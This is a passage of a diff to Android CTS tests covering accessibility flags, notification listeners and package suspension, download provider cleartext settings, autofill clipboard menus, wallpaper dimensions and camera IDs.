info.isImportantForAccessibility());
assertFalse("ScreenReaderFocusable not properly recycled", info.isScreenReaderFocusable());
- // 2 Boolean properties
+ // 3 Boolean properties
assertFalse("isShowingHint not properly reset", info.isShowingHintText());
assertFalse("isHeading not properly reset", info.isHeading());
+ assertFalse("isTextEntryKey not properly reset", info.isTextEntryKey());
}
}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 799a43b..f98a210 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -60,11 +60,12 @@
AccessibilityServiceInfo speakingService = enabledServices.get(0);
assertSame(AccessibilityEvent.TYPES_ALL_MASK, speakingService.eventTypes);
assertSame(AccessibilityServiceInfo.FEEDBACK_SPOKEN, speakingService.feedbackType);
- assertSame(AccessibilityServiceInfo.DEFAULT
+ assertEquals(AccessibilityServiceInfo.DEFAULT
| AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
| AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
| AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
- | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS,
+ | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
+ | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK,
speakingService.flags);
assertSame(0l, speakingService.notificationTimeout);
assertEquals("Some description", speakingService.getDescription());
@@ -80,5 +81,6 @@
assertEquals("Some summary", speakingService.loadSummary(
getInstrumentation().getContext().getPackageManager()));
assertNotNull(speakingService.getResolveInfo());
+ assertEquals(1000, speakingService.getMinimumUiTimeoutMillis());
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index c402330..5a5f7cf 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -18,6 +18,8 @@
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils
.filterForEventType;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.getActivityTitle;
import static android.accessibilityservice.cts.utils.RunOnMainUtils.getOnMain;
import static android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction
.ACTION_HIDE_TOOLTIP;
@@ -30,6 +32,11 @@
import static org.hamcrest.Matchers.in;
import static org.hamcrest.Matchers.not;
import static org.junit.Assert.assertThat;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
import android.accessibilityservice.cts.activities.AccessibilityEndToEndActivity;
import android.app.Activity;
@@ -56,10 +63,14 @@
import android.test.suitebuilder.annotation.MediumTest;
import android.text.TextUtils;
import android.util.Log;
+import android.view.MotionEvent;
import android.view.View;
+import android.view.Window;
+import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
@@ -700,6 +711,51 @@
assertThat(labelForNode.getLabeledBy(), equalTo(editNode));
}
+ @MediumTest
+ public void testA11yActionTriggerMotionEventActionOutside() throws Exception {
+ final Instrumentation instrumentation = getInstrumentation();
+ final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+ final View.OnTouchListener listener = mock(View.OnTouchListener.class);
+ final AccessibilityNodeInfo button = uiAutomation.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByViewId(
+ "android.accessibilityservice.cts:id/button")
+ .get(0);
+ final String title = getString(R.string.alert_title);
+
+ // Add a dialog that is watching outside touch
+ uiAutomation.executeAndWaitForEvent(
+ () -> instrumentation.runOnMainSync(() -> {
+ final AlertDialog dialog = new AlertDialog.Builder(getActivity())
+ .setTitle(R.string.alert_title)
+ .setMessage(R.string.alert_message)
+ .create();
+ final Window window = dialog.getWindow();
+ window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH);
+ window.getDecorView().setOnTouchListener(listener);
+ window.setTitle(title);
+ dialog.show();
+ }),
+ (event) -> {
+ // Ensure the dialog is shown over the activity
+ final AccessibilityWindowInfo dialog = findWindowByTitle(
+ uiAutomation, title);
+ final AccessibilityWindowInfo activity = findWindowByTitle(
+ uiAutomation, getActivityTitle(instrumentation, getActivity()));
+ return (dialog != null && activity != null)
+ && (dialog.getLayer() > activity.getLayer());
+ }, TIMEOUT_ASYNC_PROCESSING);
+
+ // Perform an action and wait for an event
+ uiAutomation.executeAndWaitForEvent(
+ () -> button.performAction(AccessibilityNodeInfo.ACTION_CLICK),
+ filterForEventType(AccessibilityEvent.TYPE_VIEW_CLICKED), TIMEOUT_ASYNC_PROCESSING);
+
+ // Make sure the MotionEvent.ACTION_OUTSIDE is received.
+ verify(listener, timeout(TIMEOUT_ASYNC_PROCESSING).atLeastOnce()).onTouch(any(View.class),
+ argThat(event -> event.getActionMasked() == MotionEvent.ACTION_OUTSIDE));
+ }
+
private static void assertPackageName(AccessibilityNodeInfo node, String packageName) {
if (node == null) {
return;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
index b27ceaf..16c41eb 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
@@ -100,6 +100,17 @@
AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS));
assertEquals("FLAG_REQUEST_TOUCH_EXPLORATION_MODE", AccessibilityServiceInfo.flagToString(
AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE));
+ assertEquals("FLAG_RETRIEVE_INTERACTIVE_WINDOWS", AccessibilityServiceInfo.flagToString(
+ AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS));
+ assertEquals("FLAG_ENABLE_ACCESSIBILITY_VOLUME", AccessibilityServiceInfo.flagToString(
+ AccessibilityServiceInfo.FLAG_ENABLE_ACCESSIBILITY_VOLUME));
+ assertEquals("FLAG_REQUEST_ACCESSIBILITY_BUTTON", AccessibilityServiceInfo.flagToString(
+ AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON));
+ assertEquals("FLAG_REQUEST_FINGERPRINT_GESTURES", AccessibilityServiceInfo.flagToString(
+ AccessibilityServiceInfo.FLAG_REQUEST_FINGERPRINT_GESTURES));
+ assertEquals("FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK", AccessibilityServiceInfo.flagToString(
+ AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK));
+
}
/**
@@ -115,6 +126,7 @@
sentInfo.packageNames = new String[] {
"foo.bar.baz"
};
+ sentInfo.setMinimumUiTimeoutMillis(2000);
}
/**
@@ -135,5 +147,7 @@
receivedInfo.packageNames.length);
assertEquals("packageNames not marshalled properly", sentInfo.packageNames[0],
receivedInfo.packageNames[0]);
+ assertEquals("minimumUiTimeout not marshalled properly",
+ sentInfo.getMinimumUiTimeoutMillis(), receivedInfo.getMinimumUiTimeoutMillis());
}
}
diff --git a/tests/admin/app/AndroidManifest.xml b/tests/admin/app/AndroidManifest.xml
index 1d901a2..baff9ab 100644
--- a/tests/admin/app/AndroidManifest.xml
+++ b/tests/admin/app/AndroidManifest.xml
@@ -18,6 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.admin.app">
+ <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
+
<application android:testOnly="true">
<uses-library android:name="android.test.runner"/>
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 563dba4..91556be 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -348,9 +348,9 @@
</meta-data>
</service>
- <service android:name="android.app.stubs.MockNotificationListener"
+ <service android:name="android.app.stubs.TestNotificationListener"
android:exported="true"
- android:label="MockNotificationListener"
+ android:label="TestNotificationListener"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
diff --git a/tests/app/app/src/android/app/stubs/MockNotificationListener.java b/tests/app/app/src/android/app/stubs/TestNotificationListener.java
similarity index 83%
rename from tests/app/app/src/android/app/stubs/MockNotificationListener.java
rename to tests/app/app/src/android/app/stubs/TestNotificationListener.java
index d47b2b1..c9d08d2 100644
--- a/tests/app/app/src/android/app/stubs/MockNotificationListener.java
+++ b/tests/app/app/src/android/app/stubs/TestNotificationListener.java
@@ -22,7 +22,7 @@
import java.util.ArrayList;
-public class MockNotificationListener extends NotificationListenerService {
+public class TestNotificationListener extends NotificationListenerService {
public static final String TAG = "TestNotificationListener";
public static final String PKG = "android.app.stubs";
@@ -32,17 +32,17 @@
public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
public RankingMap mRankingMap;
- private static MockNotificationListener sNotificationListenerInstance = null;
+ private static TestNotificationListener sNotificationListenerInstance = null;
boolean isConnected;
public static String getId() {
- return String.format("%s/%s", MockNotificationListener.class.getPackage().getName(),
- MockNotificationListener.class.getName());
+ return String.format("%s/%s", TestNotificationListener.class.getPackage().getName(),
+ TestNotificationListener.class.getName());
}
public static ComponentName getComponentName() {
- return new ComponentName(MockNotificationListener.class.getPackage().getName(),
- MockNotificationListener.class.getName());
+ return new ComponentName(TestNotificationListener.class.getPackage().getName(),
+ TestNotificationListener.class.getName());
}
@Override
@@ -63,7 +63,7 @@
isConnected = false;
}
- public static MockNotificationListener getInstance() {
+ public static TestNotificationListener getInstance() {
return sNotificationListenerInstance;
}
@@ -75,12 +75,14 @@
@Override
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
if (!mTestPackages.contains(sbn.getPackageName())) { return; }
+ mRankingMap = rankingMap;
mPosted.add(sbn);
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap) {
if (!mTestPackages.contains(sbn.getPackageName())) { return; }
+ mRankingMap = rankingMap;
mRemoved.add(sbn);
}
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 873647f..6e79531 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -22,7 +22,10 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
import android.database.Cursor;
import android.net.Uri;
import android.os.Environment;
@@ -320,6 +323,40 @@
}
}
+ private String cannonicalizeProcessName(ApplicationInfo ai) {
+ return cannonicalizeProcessName(ai.processName, ai);
+ }
+
+ private String cannonicalizeProcessName(String process, ApplicationInfo ai) {
+ if (process == null) {
+ return null;
+ }
+ // Handle private scoped process names.
+ if (process.startsWith(":")) {
+ return ai.packageName + process;
+ }
+ return process;
+ }
+
+ public void testProviderAcceptsCleartext() throws Exception {
+ // Check that all the applications that share an android:process with the DownloadProvider
+ // accept cleartext traffic. Otherwise process loading races can lead to inconsistent flags.
+ final PackageManager pm = getContext().getPackageManager();
+ ProviderInfo downloadInfo = pm.resolveContentProvider("downloads", 0);
+ assertNotNull(downloadInfo);
+ String downloadProcess
+ = cannonicalizeProcessName(downloadInfo.processName, downloadInfo.applicationInfo);
+
+ for (PackageInfo pi : getContext().getPackageManager().getInstalledPackages(0)) {
+ if (downloadProcess.equals(cannonicalizeProcessName(pi.applicationInfo))) {
+ assertTrue("package: " + pi.applicationInfo.packageName
+ + " must set android:usesCleartextTraffic=true"
+ ,(pi.applicationInfo.flags & ApplicationInfo.FLAG_USES_CLEARTEXT_TRAFFIC)
+ != 0);
+ }
+ }
+ }
+
private class DownloadCompleteReceiver extends BroadcastReceiver {
private HashSet<Long> mCompleteIds = new HashSet<>();
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 3f61605..aaaa140 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -34,7 +34,7 @@
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.UiAutomation;
-import android.app.stubs.MockNotificationListener;
+import android.app.stubs.TestNotificationListener;
import android.app.stubs.R;
import android.content.ComponentName;
import android.content.Context;
@@ -76,7 +76,7 @@
private NotificationManager mNotificationManager;
private ActivityManager mActivityManager;
private String mId;
- private MockNotificationListener mListener;
+ private TestNotificationListener mListener;
@Override
protected void setUp() throws Exception {
@@ -110,7 +110,7 @@
mNotificationManager.deleteNotificationChannel(nc.getId());
}
- toggleListenerAccess(MockNotificationListener.getId(),
+ toggleListenerAccess(TestNotificationListener.getId(),
InstrumentationRegistry.getInstrumentation(), false);
List<NotificationChannelGroup> groups = mNotificationManager.getNotificationChannelGroups();
@@ -474,11 +474,11 @@
return;
}
- toggleListenerAccess(MockNotificationListener.getId(),
+ toggleListenerAccess(TestNotificationListener.getId(),
InstrumentationRegistry.getInstrumentation(), true);
Thread.sleep(500); // wait for listener to be allowed
- mListener = MockNotificationListener.getInstance();
+ mListener = TestNotificationListener.getInstance();
assertNotNull(mListener);
sendNotification(1, R.drawable.black);
@@ -515,6 +515,52 @@
mListener.resetData();
}
+ public void testSuspendedPackageSendsNotification() throws Exception {
+ if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
+ return;
+ }
+
+ toggleListenerAccess(TestNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ Thread.sleep(500); // wait for listener to be allowed
+
+ mListener = TestNotificationListener.getInstance();
+ assertNotNull(mListener);
+
+ // suspend package, post notification while package is suspended, see notification
+ // in ranking map with suspended = true
+ suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
+ true);
+ sendNotification(1, R.drawable.black);
+ Thread.sleep(500); // wait for notification listener to receive notification
+ assertEquals(1, mListener.mPosted.size()); // apps targeting P receive notification
+ NotificationListenerService.RankingMap rankingMap = mListener.mRankingMap;
+ NotificationListenerService.Ranking outRanking = new NotificationListenerService.Ranking();
+ for (String key : rankingMap.getOrderedKeys()) {
+ if (key.contains(mListener.getPackageName())) {
+ rankingMap.getRanking(key, outRanking);
+ Log.d(TAG, "key=" + key + " suspended=" + outRanking.isSuspended());
+ assertTrue(outRanking.isSuspended());
+ }
+ }
+
+ // unsuspend package, ranking should be updated with suspended = false
+ suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
+ false);
+ Thread.sleep(500); // wait for notification listener to get response
+ assertEquals(1, mListener.mPosted.size()); // should see previously posted notification
+ rankingMap = mListener.mRankingMap;
+ for (String key : rankingMap.getOrderedKeys()) {
+ if (key.contains(mListener.getPackageName())) {
+ rankingMap.getRanking(key, outRanking);
+ Log.d(TAG, "key=" + key + " suspended=" + outRanking.isSuspended());
+ assertFalse(outRanking.isSuspended());
+ }
+ }
+
+ mListener.resetData();
+ }
+
public void testNotify_blockedChannel() throws Exception {
mNotificationManager.cancelAll();
@@ -1067,8 +1113,7 @@
private void suspendPackage(String packageName,
Instrumentation instrumentation, boolean suspend) throws IOException {
- String command = " cmd notification " + (suspend ? "suspend_package "
- : "unsuspend_package ") + packageName;
+ String command = " cmd package " + (suspend ? "suspend " : "unsuspend ") + packageName;
runCommand(command, instrumentation);
}
@@ -1082,7 +1127,7 @@
runCommand(command, instrumentation);
final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
- final ComponentName listenerComponent = MockNotificationListener.getComponentName();
+ final ComponentName listenerComponent = TestNotificationListener.getComponentName();
assertTrue(listenerComponent + " has not been granted access",
nm.isNotificationListenerAccessGranted(listenerComponent) == on);
}
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index e267503..cc1d479 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -226,31 +226,31 @@
* Suggesting desired dimensions is only a hint to the system that can be ignored.
*
* Test if the desired minimum width or height the WallpaperManager returns
- * is greater than 0. If so, then we check whether that the size is at least the
- * as big as the screen.
+ * is greater than 0. If so, then we check whether that the size is the dimension
+ * that was suggested.
*/
@Test
public void suggestDesiredDimensionsTest() {
final Point min = getScreenSize();
final int w = min.x * 3;
final int h = min.y * 2;
- assertDesiredMinimum(new Point(min.x / 2, min.y / 2), min);
+ assertDesiredDimension(new Point(min.x / 2, min.y / 2), new Point(min.x / 2, min.y / 2));
- assertDesiredMinimum(new Point(w, h), min);
+ assertDesiredDimension(new Point(w, h), new Point(w, h));
- assertDesiredMinimum(new Point(min.x / 2, h), min);
+ assertDesiredDimension(new Point(min.x / 2, h), new Point(min.x / 2, h));
- assertDesiredMinimum(new Point(w, min.y / 2), min);
+ assertDesiredDimension(new Point(w, min.y / 2), new Point(w, min.y / 2));
}
- private void assertDesiredMinimum(Point suggestedSize, Point minSize) {
+ private void assertDesiredDimension(Point suggestedSize, Point expectedSize) {
mWallpaperManager.suggestDesiredDimensions(suggestedSize.x, suggestedSize.y);
Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
mWallpaperManager.getDesiredMinimumHeight());
if (actualSize.x > 0 || actualSize.y > 0) {
- if ((actualSize.x < minSize.x || actualSize.y < minSize.y)) {
- throw new AssertionError("Expected at least x: " + minSize.x + " y: "
- + minSize.y + ", got x: " + actualSize.x +
+ if ((actualSize.x != expectedSize.x || actualSize.y != expectedSize.y)) {
+ throw new AssertionError("Expected x: " + expectedSize.x + " y: "
+ + expectedSize.y + ", got x: " + actualSize.x +
" y: " + actualSize.y);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index d080e5c..55729af 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -19,9 +19,11 @@
import static android.autofillservice.cts.Helper.getContext;
import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
+import static android.content.Context.CLIPBOARD_SERVICE;
import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
import android.autofillservice.cts.common.SettingsStateKeeperRule;
+import android.content.ClipboardManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
@@ -247,6 +249,9 @@
// Wait until device is idle to avoid flakiness
mUiBot.waitForIdle();
+
+ // Clear Clipboard
+ ((ClipboardManager) mContext.getSystemService(CLIPBOARD_SERVICE)).clearPrimaryClip();
}
@Before
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index 7ea52d2..4229ef7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -22,9 +22,6 @@
import android.os.Bundle;
import android.text.TextUtils;
import android.util.Log;
-import android.view.ActionMode;
-import android.view.Menu;
-import android.view.MenuItem;
import android.view.View.OnClickListener;
import android.view.inputmethod.InputMethodManager;
import android.widget.Button;
@@ -102,42 +99,6 @@
getAutofillManager().cancel();
});
mCancelButton.setOnClickListener((OnClickListener) v -> finish());
-
- // Create a custom insertion callback so it just show the AUTOFILL item, otherwise CTS
- // testAutofillManuallyOneDataset() will fail if a previous test set the clipboard
- // TODO(b/71711122): remove once there's a proper way to reset the clipboard
- mUsernameEditText.setCustomInsertionActionModeCallback(new ActionMode.Callback() {
-
- @Override
- public boolean onPrepareActionMode(ActionMode mode, Menu menu) {
- final String autofillTitle = AutoFillServiceTestCase.sDefaultUiBot
- .getAutofillContextualMenuTitle();
- for (int i = 0; i < menu.size(); i++) {
- final MenuItem item = menu.getItem(i);
- final String title = item.getTitle().toString();
- if (!title.equals(autofillTitle)) {
- Log.v(TAG, "onPrepareActionMode(): ignoring " + title);
- menu.removeItem(item.getItemId());
- }
- }
- return true;
- }
-
- @Override
- public void onDestroyActionMode(ActionMode mode) {
-
- }
-
- @Override
- public boolean onCreateActionMode(ActionMode mode, Menu menu) {
- return true;
- }
-
- @Override
- public boolean onActionItemClicked(ActionMode mode, MenuItem item) {
- return false;
- }
- });
}
protected int getContentView() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 7004afa..d6df9dd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -42,6 +42,7 @@
import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
import static android.autofillservice.cts.common.ShellHelper.tap;
+import static android.content.Context.CLIPBOARD_SERVICE;
import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -63,6 +64,8 @@
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
import android.content.BroadcastReceiver;
+import android.content.ClipData;
+import android.content.ClipboardManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -1929,6 +1932,38 @@
// And activity.
mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
+ // Set expectations.
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+ mActivity.expectAutoFill("dude", "sweet");
+
+ // Explicitly uses the contextual menu to test that functionality.
+ mUiBot.getAutofillMenuOption(ID_USERNAME, false).click();
+
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+ // Should have been automatically filled.
+ mUiBot.selectDataset("The Dude");
+
+ // Check the results.
+ mActivity.assertAutoFilled();
+ }
+
+ @Test
+ public void testAutofillManuallyOneDatasetWhenClipboardFull() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set clipboard.
+ ClipboardManager cm = (ClipboardManager) mActivity.getSystemService(CLIPBOARD_SERVICE);
+ cm.setPrimaryClip(ClipData.newPlainText(null, "test"));
+
+ // And activity.
+ mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
// Set expectations.
sReplier.addResponse(new CannedDataset.Builder()
@@ -1939,7 +1974,7 @@
mActivity.expectAutoFill("dude", "sweet");
// Explicitly uses the contextual menu to test that functionality.
- mUiBot.getAutofillMenuOption(ID_USERNAME).click();
+ mUiBot.getAutofillMenuOption(ID_USERNAME, true).click();
final FillRequest fillRequest = sReplier.getNextFillRequest();
assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
@@ -1949,6 +1984,9 @@
// Check the results.
mActivity.assertAutoFilled();
+
+ // clear clipboard
+ cm.clearPrimaryClip();
}
@Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
index b3ca63c..3d042f1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
@@ -15,7 +15,7 @@
*/
package android.autofillservice.cts;
-import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithHiddenFields;
+import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
import static android.autofillservice.cts.Helper.ID_USERNAME;
@@ -371,7 +371,7 @@
sReplier.addResponse(new CannedFillResponse.Builder()
.setRequiredSavableAutofillIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
passwordId)
- .setCustomDescription(newCustomDescriptionWithHiddenFields()
+ .setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
.addChild(R.id.username, usernameTrans)
.addChild(R.id.password, passwordTrans)
.build())
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 42fa771..8613cc3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -79,6 +79,7 @@
private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
private static final String RESOURCE_ID_SAVE_BUTTON_YES = "autofill_save_yes";
+ private static final String RESOURCE_ID_OVERFLOW = "overflow";
private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -719,15 +720,38 @@
* faster.
*
* @param id resource id of the field.
+ * @param expectOverflow whether overflow menu should be shown (when clipboard contains text)
*/
- UiObject2 getAutofillMenuOption(String id) throws Exception {
+ UiObject2 getAutofillMenuOption(String id, boolean expectOverflow) throws Exception {
final UiObject2 field = waitForObject(By.res(mPackageName, id));
// TODO: figure out why obj.longClick() doesn't always work
field.click(3000);
- final List<UiObject2> menuItems = waitForObjects(
+ List<UiObject2> menuItems = waitForObjects(
By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
final String expectedText = getAutofillContextualMenuTitle();
+
+ if (expectOverflow) {
+ // Check first menu does not have AUTOFILL
+ for (UiObject2 menuItem : menuItems) {
+ final String menuName = menuItem.getText();
+ if (menuName.equalsIgnoreCase(expectedText)) {
+ throw new IllegalStateException(expectedText + " in context menu");
+ }
+ }
+
+ final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
+
+ // Click overflow menu button.
+ final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
+ overflowMenu.click();
+
+ // Wait for overflow menu to show.
+ mDevice.wait(Until.gone(overflowSelector), 1000);
+ }
+
+ menuItems = waitForObjects(
+ By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
final StringBuffer menuNames = new StringBuffer();
for (UiObject2 menuItem : menuItems) {
final String menuName = menuItem.getText();
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index a276c46..477f151 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -67,7 +67,7 @@
private CameraManager mCameraManager;
private List<CameraCharacteristics> mCharacteristics;
- private String[] mIds;
+ private String[] mIds; // include both standalone camera IDs and "hidden" physical camera IDs
private CameraErrorCollector mCollector;
private static final Size FULLHD = new Size(1920, 1080);
@@ -120,15 +120,29 @@
@Override
protected void setUp() throws Exception {
super.setUp();
- mIds = mCameraManager.getCameraIdList();
+ String[] ids = mCameraManager.getCameraIdList();
+ ArrayList<String> allIds = new ArrayList<String>();
mCharacteristics = new ArrayList<>();
mCollector = new CameraErrorCollector();
- for (int i = 0; i < mIds.length; i++) {
- CameraCharacteristics props = mCameraManager.getCameraCharacteristics(mIds[i]);
- assertNotNull(String.format("Can't get camera characteristics from: ID %s", mIds[i]),
+ for (int i = 0; i < ids.length; i++) {
+ CameraCharacteristics props = mCameraManager.getCameraCharacteristics(ids[i]);
+ assertNotNull(String.format("Can't get camera characteristics from: ID %s", ids[i]),
props);
+ allIds.add(ids[i]);
mCharacteristics.add(props);
+
+ for (String physicalId : props.getPhysicalCameraIds()) {
+ if (!Arrays.asList(ids).contains(physicalId) &&
+ !allIds.contains(physicalId)) {
+ allIds.add(physicalId);
+ props = mCameraManager.getCameraCharacteristics(physicalId);
+ mCharacteristics.add(props);
+ }
+ }
}
+
+ mIds = new String[allIds.size()];
+ allIds.toArray(mIds);
}
@Override
@@ -1446,6 +1460,7 @@
public void testLogicalCameraCharacteristics() throws Exception {
int counter = 0;
List<String> cameraIdList = Arrays.asList(mIds);
+ String[] publicIds = mCameraManager.getCameraIdList();
for (CameraCharacteristics c : mCharacteristics) {
